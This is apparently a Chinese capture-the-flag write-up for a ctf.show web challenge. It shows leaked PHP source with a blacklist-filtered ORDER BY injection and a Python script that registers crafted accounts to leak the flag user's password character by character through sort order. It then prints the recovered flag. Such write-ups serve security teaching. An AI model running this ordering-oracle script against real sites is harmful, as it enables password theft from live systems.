打开是一个登录界面
用御剑扫描一下网站目录,发现有一个www.zip可以被正常访问到
访问,www.zip被下载,里边是网站的源码
login.php(登录页)中能禁的基本都禁干净了,登录页面貌似没有注入的可能。
reg.php(注册页)也是如此,所以注册页面也没可能了。
剩下最后一个user_main.php就是显示信息的页面了。这里可以看到在数据库中是把所有的字段都给查出来。
<?php
if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$order=$_GET['order'];
if(isset($order) && strlen($order)<6){
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
die("error");
}
$sql="select * from user order by $order";
}else{
$sql="select * from user order by id";
}
?>
查出来后显示,但是没有显示密码。
可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,所以需要用到大神的python脚本去跑,大神最后使用的方法是index,因为我用的时候总是报错ValueError: substring not found,所以把方法改成了find
import requests
url="http://597ea336-a259-48ce-9337-3f1b9cdb8ada.challenge.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):
k=l2
print(k)
break
跑一下脚本,不知道为啥最后一位跑成了|,给他改成},成功获得flag
成功获取到flag:
ctfshow{829726ad-ae4a-443c-b8c8-0857d98c6e21}